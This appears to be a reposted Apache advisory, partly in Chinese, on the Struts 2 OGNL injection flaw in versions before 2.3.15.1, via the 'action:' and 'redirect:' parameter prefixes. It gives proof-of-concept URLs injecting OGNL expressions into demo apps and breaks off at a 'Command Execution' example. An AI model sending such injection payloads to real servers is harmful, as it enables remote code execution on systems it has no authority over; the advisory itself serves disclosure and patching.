日期:2014-05-16  浏览次数:20886 次

Struts 2的漏洞 与需要版本升级(From Apache官网)

?Struts 2的漏洞原理:

Struts又爆远程代码执行漏洞!在这次的漏洞中,攻击者可以通过操纵参数远程执行恶意代码。Struts?2.3.15.1之前的版本,参数action的值redirect以及redirectAction没有正确过滤,导致ognl代码执行。

?

The Struts 2 DefaultActionMapper supports a method for short-circuit navigation state changes by prefixing parameters with "action:" or "redirect:", followed by a desired navigational target expression. This mechanism was intended to help with attaching navigational information to buttons within forms.

In Struts 2 before 2.3.15.1 the information following "action:", "redirect:" or "redirectAction:" is not properly sanitized. Since said information will be evaluated as OGNL expression against the value stack, this introduces the possibility to inject server side code.

?

In the Struts Blank App, open following URLs.

  1. Simple Expression - the parameter names are evaluated as OGNL.
    1. http://host/struts2-blank/example/X.action?action:%25{3*4}
    2. http://host/struts2-showcase/employee/save.action?redirect:%25{3*4}
  1. Command Execution
    1. http://host/struts2-blank/examp